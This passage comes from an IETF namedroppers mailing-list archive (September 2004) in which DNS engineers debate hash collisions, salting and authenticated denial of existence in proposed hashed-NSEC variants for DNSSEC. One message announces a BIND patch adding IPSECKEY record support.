collision with some unexpected name isn't enough to make anyone famous. Yet, the algorithms absolutely have to work when such things happen (and they will happen - if rarely) - and not only the algorithms, but the implementations as well. Getting these "you'll never see it in your or anyone else's lifetime" things wrong is the cause of the most frustrating things to diagnose in any system, as the errors happen so rarely - but they do happen. kre ps: all this noiose to attempt to achieve a totally worthless objective! -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 08:09:03 +1000 Lines: 71 Sender: owner-namedroppers@ops.ietf.org References: <a06020406bd6dfc0c39ee@[192.136.136.102]> Cc: Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 00:18:09 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-reply-to: Your message of "Wed, 15 Sep 2004 10:15:31 -0400." <a06020406bd6dfc0c39ee@[192.136.136.102]> Precedence: bulk > At 23:53 +1000 9/15/04, Mark Andrews wrote: > > The problem is that by using hashes there you are creating > > sets of QNAMES for which you cannot return NXDOMAIN securely. > > One set for each hash in use. > > ? I'm probably not on the same wavelength about hashes. I think the > hash space needn't be considered part of the DNS data tree, just a > transformation of existing names into an obscured representation. > I.e., in a response message with a name error in the return code, the > verifier ought to realize that the negative answer proof records are > using transformed names, not plain text names. And the transformed QNAMEs WILL collide on occasions with the transformed names of the existing names in the zone. > > If you have collisions with hashes of names with data you cannot > > hand out NODATA responses securely. Yes, Roy you can exhaust > > salt space. > > Let's say the labels in a zone are {chamberlin erving julius wilt} > and the corresponding hash values are { 6 9 13 } with a collision. > > Let's say I ask for ( robertson, IN, TXT ) and the hash of robertson is 9. > > Hmmm, I picked out 9 by randomly hitting a key and seeing that I > managed to pick a collision between the qname and one or more members > of the zone. Will this still work out? > > So, I get back a "name error" with "9 NSEC7 13" in the authority > section. After verifying the record (via the RRSIG), what next? I > suppose it's then possible to a victim of an insertion attack - an > interloper passes back this collision with there being a genuine > robertson in the zone. The problem is that you can't return 9 NSEC7 13 + NXDOMAIN. The NSEC7 says that robertson exists. The RCODE says that it doesn't. IT DOES NOT WORK. To make HASHES works you need to make the HASH longer than the namespace and also guarantee that the hashes are unique for all possible inputs. One could then take the hash use the first n octets as the name and store the remainder in the record to deal with collisions. This will however make NSEC7s large. Instead of hashing into 16 octets you need to hash into 512 octets. Something larger than the input space (63 or 255 octets) . > What if there the qname's hash was 10? In that case, I don't see a > problem in the collision amongst zone members. > > But - it's the collision between qname and zone content - which isn't > possible to know at signing or serving time - that might be a problem. > -- > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Edward Lewis +1-703-227-9854 > ARIN Research Engineer > > "I can't go to Miami. I'm expecting calls from telemarketers." - > Grandpa Simpson. -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Jakob Schlyter <jakob@rfc.se> Subject: Re: Overview of DNSSEC Pilots and Projects Date: Thu, 16 Sep 2004 00:28:15 +0200 (CEST) Lines: 16 Sender: owner-namedroppers@ops.ietf.org References: <20040913195601.GY62784@universe.dnssec.net> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 00:36:13 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Jacco Tunnissen <jacco@dnssec.net> In-Reply-To: <20040913195601.GY62784@universe.dnssec.net> Precedence: bulk On Mon, 13 Sep 2004, Jacco Tunnissen wrote: > LADON - Distributed authentication for SSH using DNSSEC I believe this one is dead. on the other hand something similar (draft-ietf-secsh-dns-05.txt) is in the RFC editors queue (ref state) and code is integrated in openssh. jakob -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Roy Badami <roy@gnomon.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 23:32:13 +0100 Lines: 29 Sender: owner-namedroppers@ops.ietf.org References: <41486251.2010400@algroup.co.uk> <200409151148.i8FBm9QR075629@drugs.dv.isc.org> <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> <C09F24F165286F1E0D6E6C41@[192.168.0.16]> <15430.1095285191@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, Roy Arends <roy@dnss.ec>, Mark Andrews <Mark_Andrews@isc.org>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 00:44:32 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <15430.1095285191@munnari.OZ.AU> X-Mailer: VM 7.18 under Emacs 21.3.1 X-Delivery-Agent: TMDA/1.0.2 (Bold Forbes) X-Primary-Address: roy@gnomon.org.uk Received-SPF: pass (spike.gnomon.org.uk: 81.100.86.162 is authenticated by a trusted mechanism) X-Virus-Scanned: clamd / ClamAV version 0.73, clamav-milter version 0.73a on spike.gnomon.org.uk X-Virus-Status: Clean Precedence: bulk >>>>> "Robert" == Robert Elz <kre@munnari.OZ.AU> writes: Robert> Or at least, it would be, but only if you're deliberately Robert> setting out to find a name that hashes to a particular Robert> value - that's what's hard. That's one of the things that's hard. In crypto circles it's called preimage resistance, and it's true that it's the weakest of the three properties that a cryptographic hash function is expected to satisfy (ie breaking it is the hardest). The strongest of the three properties is collision resistance, and it means that it's computationally infeasable to find two names that hash to the same value. It's bad cryptographic design to rely on stronger properties of an underlying algorithm than you need to; but if the collision resistance of SHA-1 was broken, that would be headline news... -roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Jim Reid <jim@rfc1035.com> Subject: Re: Avoiding collisions - desirability & possibility thereof Date: Wed, 15 Sep 2004 23:56:58 +0100 Lines: 61 Sender: owner-namedroppers@ops.ietf.org References: <jas@extundo.com> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 01:09:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Simon Josefsson <jas@extundo.com> In-Reply-To: Message from Simon Josefsson <jas@extundo.com> of "Wed, 15 Sep 2004 21:59:04 +0200." <ilupt4nnw1j.fsf@latte.josefsson.org> Precedence: bulk >>>>> "Simon" == Simon Josefsson <jas@extundo.com> writes: Ben> I agree, in theory. However, in practice, there's no way to Ben> have a zone with size 2^512, or even 2^160, so this is not a Ben> problem in real life. >> Once upon a time people said that about MD5. There was >> supposedly no realistic chance of two different input strings >> yielding the same hash. Simon> In what way do you believe that is relevant? Because some people here seem to be saying that the chance of a hash collision is so remote, it's not worth considering. That's been said about previous crypto hash algorithms and later been shown to be a false premise. If things like ENUM and RFID tags take off, the DNS name space could increase by one or two orders of magnitude, maybe more: ~4bn E.164 phone numbers and how many billion Coke cans, each name with how many RRtypes? Once we're in the realm of billions of names the probability a hash collision is much more likely. Too bad if they're in the same (enormous) zone. Simon> If it is possible to find two (useful) inputs that have the Simon> same hash, then the signature schemes in DNSSEC are dead. Not so. In DNSSECbis, the RRSIG is what matters. That depends on the secrecy of the private key that signed some hash value. How that hash is computed doesn't really matter. Though it makes sense to use something strong like SHA to get a hash string that's long and random enough to protect against cryptanalytic attacks on the key. [For some definition of "strong", "long" and "random".] Besides, the original input to the hash function is known so that a validator can recompute the hash value and compare that to what was found in the signature. Simon> Whether the hash function is collision resistant isn't Simon> critical for the NSECbis idea. One necessary property is Simon> that the output space is large enough, so that with salting Simon> it is possible to find unique output hashes for all owner Simon> names in existence. This looks like hand-waving to me. Sorry. And won't "all owner names in existence" include the RRs containing the generated hash strings? Suppose I have a client that does an ANY query for foo.bar. This name didn't exist in the unsigned zone. But foo is the label resulting from hashing the bar zone's SOA record. What response does my client get back? How is that signed? Just put the hash string in the RDATA for some RRtype and the whole issue about collisions goes away. So does the prospect of having to deal with hashes that collide with existing CNAME, DNAME and delegation points as yet more corner cases that need special treatment. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 00:30:40 +0100 Lines: 55 Sender: owner-namedroppers@ops.ietf.org References: <E1C7akU-0005hm-Ul@draco.cus.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 01:38:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Chris Thompson <cet1@cus.cam.ac.uk> In-Reply-To: <E1C7akU-0005hm-Ul@draco.cus.cam.ac.uk> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Chris Thompson wrote: > Mark Andrews writes: > > [...snip...] > >> The problem is that by using hashes there you are creating >> sets of QNAMES for which you cannot return NXDOMAIN securely. >> One set for each hash in use. > > > Maybe a different mechanism for securely returning NXDOMAIN is needed > in these cases? If a name being looked up hashes to something different > from every extant name, return the signed NSEC' record to prove it by > showing an interval of hash values free of extant ones. But if the hash > matches that of one or more extant names, but the name isn't any of them, > then return a signed NSEC'' record that lists all the extant names that > hash to that value (proving that the caller's wasn't one of them). That > gives away one or more names in the zone, of course, but the caller had > to be pretty damn lucky to get a hash match in the first place. > > This idea is somewhat half-baked, in that representing a list of names > of potentially unlimited length in a signed answer could pose problems. > (Although now you really could play "change the salt, Walt" to finesse > that.) The way to fix this is to show an NSEC record when NSEC' fails because of a hash collision. Since a good fraction of the world thinks that NSEC' is pointless, there's no chance that NSEC is going away, making this solution cheap, as well as (of course) 100% effective. People actually bothering to sign NSECs in case this happens before the Sun burns out will spend twice as much on hardware, but the edge case has been handled totally. Excellent suggestion. Superb. Thankyou. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 00:35:56 +0100 Lines: 34 Sender: owner-namedroppers@ops.ietf.org References: <17355.1095265186@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Mark Andrews <Mark_Andrews@isc.org>, Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 01:43:10 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Jim Reid <jim@rfc1035.com> In-Reply-To: <17355.1095265186@gromit.rfc1035.com> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Jim Reid wrote: >>>>>>"Ben" == Ben Laurie <ben@algroup.co.uk> writes: > > > Ben> I agree, in theory. However, in practice, there's no way to > Ben> have a zone with size 2^512, or even 2^160, so this is not a > Ben> problem in real life. > > Once upon a time people said that about MD5. There was supposedly no > realistic chance of two different input strings yielding the same hash. People said it was practical to have a zone of size 2^128? The unrelated fact that there exist broken hashes is by no means a disproof of the general concept that there are an awful lot of possible outputs from cryptographic hash functions. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 09:57:38 +1000 Lines: 60 Sender: owner-namedroppers@ops.ietf.org References: <4148D1DC.8020401@algroup.co.uk> Cc: Jim Reid <jim@rfc1035.com>, Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 02:04:34 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-reply-to: Your message of "Thu, 16 Sep 2004 00:35:56 +0100." <4148D1DC.8020401@algroup.co.uk> Precedence: bulk > Jim Reid wrote: > >>>>>>"Ben" == Ben Laurie <ben@algroup.co.uk> writes: > > > > > > Ben> I agree, in theory. However, in practice, there's no way to > > Ben> have a zone with size 2^512, or even 2^160, so this is not a > > Ben> problem in real life. > > > > Once upon a time people said that about MD5. There was supposedly no > > realistic chance of two different input strings yielding the same hash. > > People said it was practical to have a zone of size 2^128? > > The unrelated fact that there exist broken hashes is by no means a > disproof of the general concept that there are an awful lot of possible > outputs from cryptographic hash functions. The zone size is irrelevent. If the number of QNAMES > number of hash function outputs (true of all the proposals todate). You will have collisions. They CANNOT be prevented. The only way to prevent this is to change the hash function so that the number of QNAMES <= number of hash outputs *and* that for all QNAMES the output is unique. You then have the problem of how to store the resultant hash. For NSEC the hash function returns its input. It also meets all the required properties above. Now we know the QNAME space. You need to pick a hash function that has the properties above. So far I have yet to see anyone propose one. Mark > Cheers, > > Ben. > > -- > ApacheCon! 13-17 November! http://www.apachecon.com/ > > http://www.apache-ssl.org/ben.html http://www.thebunker.net/ > > "There is no limit to what a man can do or how far he can go if he > doesn't mind who gets the credit." - Robert Woodruff -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof Date: Thu, 16 Sep 2004 10:01:22 +0100 Lines: 21 Sender: owner-namedroppers@ops.ietf.org References: <18002.1095289018@gromit.rfc1035.com> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 11:17:57 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Jim Reid <jim@rfc1035.com>, Simon Josefsson <jas@extundo.com> In-Reply-To: <18002.1095289018@gromit.rfc1035.com> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 15 September 2004 23:56 +0100 Jim Reid <jim@rfc1035.com> wrote: > Because some people here seem to be saying that the chance of a hash > collision is so remote, it's not worth considering. No, people (well me) are not saying that. People are saying that the chance of hash collision is very remote, but you DO have to worry about it (if it's necessary to avoid collisions at all - which I am not sure of, but there are people who know more than me on that one), but the statistics tell you that iteratively changing the salt is a sufficient solution to the problem. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: Avoiding collisions - desirability & possibility thereof Date: Thu, 16 Sep 2004 13:35:32 +0200 Lines: 91 Sender: owner-namedroppers@ops.ietf.org References: <jas@extundo.com> <18002.1095289018@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 13:44:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 84 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:L21BYrzyMLcAouW1vXv+AOomhjI= Precedence: bulk Jim Reid <jim@rfc1035.com> writes: >>>>>> "Simon" == Simon Josefsson <jas@extundo.com> writes: > > Ben> I agree, in theory. However, in practice, there's no way to > Ben> have a zone with size 2^512, or even 2^160, so this is not a > Ben> problem in real life. > >> Once upon a time people said that about MD5. There was > >> supposedly no realistic chance of two different input strings > >> yielding the same hash. > > Simon> In what way do you believe that is relevant? > > Because some people here seem to be saying that the chance of a hash > collision is so remote, it's not worth considering. That's been said > about previous crypto hash algorithms and later been shown to be a > false premise. I don't know about "people", but I'm not saying that. I'm saying that the problem of hash collisions isn't relevant to the NSECbis idea, especially if salting is part of the solution. Whether or not some hash function is collision resistant can be a fun discussion, but if you want to show that it is relevant to the NSECbis discussion I think you'll have to show in what way it is relevant. So here's the exercise: Show that NSECbis based on CRC-128 is worse than NSECbis based on SHA-1. CRC-128 is trivially breakable, SHA-1 is currently presumed not to be. > If things like ENUM and RFID tags take off, the DNS name space could > increase by one or two orders of magnitude, maybe more: ~4bn E.164 > phone numbers and how many billion Coke cans, each name with how many > RRtypes? Once we're in the realm of billions of names the probability > a hash collision is much more likely. Too bad if they're in the same > (enormous) zone. Could you do the math to show us how likely? That would be useful input. > Simon> Whether the hash function is collision resistant isn't > Simon> critical for the NSECbis idea. One necessary property is > Simon> that the output space is large enough, so that with salting > Simon> it is possible to find unique output hashes for all owner > Simon> names in existence. > > This looks like hand-waving to me. Sorry. Did you read my next paragraph? What part of it didn't convince you of the above? This isn't something you have to trust some hash function designer on, you can show this empirically yourself. Compute hashes H(i) for i=0...2^40 and count the number of distinct hash outputs you get. If that number is close to 2^40, the hash function is good enough to avoid collisions by repeated salting, since DNS zone doesn't contain more than 2^40 owner names. Replace by 2^41 if you think 2^40 is too small... > And won't "all owner names in existence" include the RRs containing > the generated hash strings? Suppose I have a client that does an ANY > query for foo.bar. This name didn't exist in the unsigned zone. But > foo is the label resulting from hashing the bar zone's SOA > record. What response does my client get back? How is that signed? You get back the NSECbis RR for the SOA, since it is stored at foo.bar: foo.bar IN NSECbis baz SOA foo.bar IN RRSIG ... You can prove that there are no other types at foo.bar than NSECbis and RRSIG by including the NSECbis with the owner name H(foo.bar). > Just put the hash string in the RDATA for some RRtype and the whole > issue about collisions goes away. So does the prospect of having to > deal with hashes that collide with existing CNAME, DNAME and > delegation points as yet more corner cases that need special > treatment. That sounds good, but I don't follow. What would the owner name be, and what would the hash string be computed on? How would it be used? Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: David Fort <david.fort@irisa.fr> Subject: ipseckey support Date: Thu, 16 Sep 2004 15:49:22 +0200 Lines: 22 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 16:04:19 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040803 X-Accept-Language: fr-fr, fr, en-us, en Newsgroups: comp.protocols.dns.std To: undisclosed-recipients: ; X-Virus-Scanned: by amavisd-new at irisa.fr Precedence: bulk People interested in ipseckey RR should have a look at that patch. This is for the BIND 9.3 series ftp://idsa.irisa.fr/local/idsa/code/patch-bind/bind9.3.0rc3+ipseckey.patch This implementation follows draft-ietf-ipseckey-rr-11. I've taken 49 as RR type(the first available AFAICT), but it can be easily changed. Feel free to send comments, remarks. -- Fort David, Projet IDsA IRISA-INRIA, Campus de Beaulieu, 35042 Rennes cedex, France T�l: +33 (0) 2 99 84 71 33 -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 15:03:49 +0100 Lines: 73 Sender: owner-namedroppers@ops.ietf.org References: <200409152357.i8FNvc8i027222@drugs.dv.isc.org> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Jim Reid <jim@rfc1035.com>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 16:17:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk> In-Reply-To: <200409152357.i8FNvc8i027222@drugs.dv.isc.org> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 16 September 2004 09:57 +1000 Mark Andrews <Mark_Andrews@isc.org> wrote: > The zone size is irrelevent. > > If the number of QNAMES > number of hash function outputs > (true of all the proposals todate). > > You will have collisions. They CANNOT be prevented. Aaahhhhhhh - you are talking about a different type of hash collision. I have previously been talking about collisions either between the hashed values of two RR labels, or between the hashed value of one label and the unhashed value of the other. These are avoidable [1] because the number of labels (and thus the number of hashed labels) in the zone is limited. You are (here), I think, talking about potential collisions between the hashed value of a QNAME, and hashed values of RR labels in the zone file, where the unhashed QNAME does not correspond to the RR label. I now understand the comment "if you find one of these you get to be famous on serving the record". However, I don't think it necessarily breaks anything. Let's assume you agree with [1] above (that you can create a zone without collisions with "itself") which I'm pretty sure is correct. Now the problem to be solved is that there is a very large number of possible QNAMEs and it is possible (albeit unlikely) that a query is made with a QNAME which has the same hash with something already in the zone file. So let's assume that there are a set of labels P(1)..P(n) in the zone which are ordered by hashed order, and that they we have a non-colliding salt, meaning there is a value S such that: * For no i,j, H( P(i), S ) = P(j) * For no i,j, i!=j, H( P(i), S ) = H ( P(j), S) And let's further assume we have a colliding Query Q, such that for some k, H(Q, S) = H( P(k), S ), but P(k) != Q Now, if someone makes a query for Q, BY ASSUMPTION the zone is non-self colliding, so RR Q does not exist (else RR Q would have the same hash as P(k) and we'd have chosen a different salt - as we could detect this at zone preparation time). So if we return an NSEC-x record that says "there are no RR's in the [open] interval H(P(k), S) ... H(P(k+1), S)", that also implies that there ARE RR's at P(k), and P(k+1), and thus BECAUSE the zone is non-colliding with itself (see [1]), that OTHER than the exact label names P(k), P(k+1), there are no other RR's with the same hash and thus "there are no RR's in the [closed] interval H(P(k), S) ... H(P(k+1), S)) other than P(k) and P(k+1)". Provided the reply contains the QNAME whose existence is being denied, the "other than" cases can be distinguished. Thus I think that provided we have (as described in a previous email) prevented the zone from colliding with itself, we can still effectively do an authenticated denial of existence for a QNAME whose hash collides with an RR which is present, and for that RR. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Roy Badami <roy@gnomon.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 15:38:58 +0100 Lines: 36 Sender: owner-namedroppers@ops.ietf.org References: <200409152357.i8FNvc8i027222@drugs.dv.isc.org> <F5CBA54E00290B9A250AA863@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk>, Jim Reid <jim@rfc1035.com>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 16:50:35 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <F5CBA54E00290B9A250AA863@[192.168.0.16]> X-Mailer: VM 7.18 under Emacs 21.3.1 X-Delivery-Agent: TMDA/1.0.2 (Bold Forbes) X-Primary-Address: roy@gnomon.org.uk Received-SPF: pass (spike.gnomon.org.uk: 81.100.86.162 is authenticated by a trusted mechanism) X-Virus-Scanned: clamd / ClamAV version 0.73, clamav-milter version 0.73a on spike.gnomon.org.uk X-Virus-Status: Clean Precedence: bulk Alex> Now the problem to be solved is that there is a very large Alex> number of possible QNAMEs and it is possible (albeit Alex> unlikely) that a query is made with a QNAME which has the Alex> same hash with something already in the zone file. I think even that will make you famous, assuming you're using full-length SHA-1. Someone needs to do that maths and estimate an upper bound on the probability of this ever happening. ie assume that: * the distribution of the output of SHA-1 is uniformly distributed * we have the largest zone we can ever imagine * we have the largest number authorative namesservers we can imagine * these nameservers are the fastest we can imagine * they are speding all their time answering queries for random non-existent names And then work out the probability of *ever* seeing a collision assuming 160 bit hashes. Let's choose some figures for the above, and then work out whether this is worth worrying about. -roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 17 Sep 2004 01:39:26 +0700 Lines: 60 Sender: owner-namedroppers@ops.ietf.org References: <16713.42370.782695.453488@giles.gnomon.org.uk> <200409152357.i8FNvc8i027222@drugs.dv.isc.org> <F5CBA54E00290B9A250AA863@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Alex Bligh <alex@alex.org.uk>, Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk>, Jim Reid <jim@rfc1035.com>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 21:10:21 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Roy Badami <roy@gnomon.org.uk> In-Reply-To: <16713.42370.782695.453488@giles.gnomon.org.uk> Precedence: bulk Date: Thu, 16 Sep 2004 15:38:58 +0100 From: Roy Badami <roy@gnomon.org.uk> Message-ID: <16713.42370.782695.453488@giles.gnomon.org.uk> | | Alex> Now the problem to be solved is that there is a very large | Alex> number of possible QNAMEs and it is possible (albeit | Alex> unlikely) that a query is made with a QNAME which has the | Alex> same hash with something already in the zone file. | | I think even that will make you famous, assuming you're using | full-length SHA-1. Perhaps. But that isn't really the one that is interesting. Assuming the hashes are in the zone as owner names (if they're not, then I don't care in the slightest about clashes - others might - but that's just the security algorithms, etc, which are outside my field of interest) then the clash that matters (in this area) is when the QNAME clashes with a NSEC' hash. And that isn't even slightly hard to imagine - I simply query for any random nonsense, get back the NXDOMAIN/NODATA, along with the NSEC' record, take the hash value from it, and do a query on that as a QNAME. So, let's assume that in the example.com. zone I have * IN MX 10 target. www IN A 10.11.12.13 (along with the NS and SOA records for the zone itself of course, but they're not adding any new names). That's it. Now, I query for foo.example.com (type A), get back NODATA and a NSEC' record that demonstrates that "foo" doesn't exist (along with whatever else is required to generate the right answer proof, which I don't care about here). For the purposes here, let a hash value in the NSEC' be H. Now I query for H.example.com. (MX). What do I get here? If I get NODATA, then you have just broken my wildcard MX. If I get "IN MX 10 target." then you have just broken the DNS lookup algorithm. Neither is acceptable. More than that, I assert that my domain (as example.com. in the above) is mine - I registered it, and I decide what names go in it. You (being the 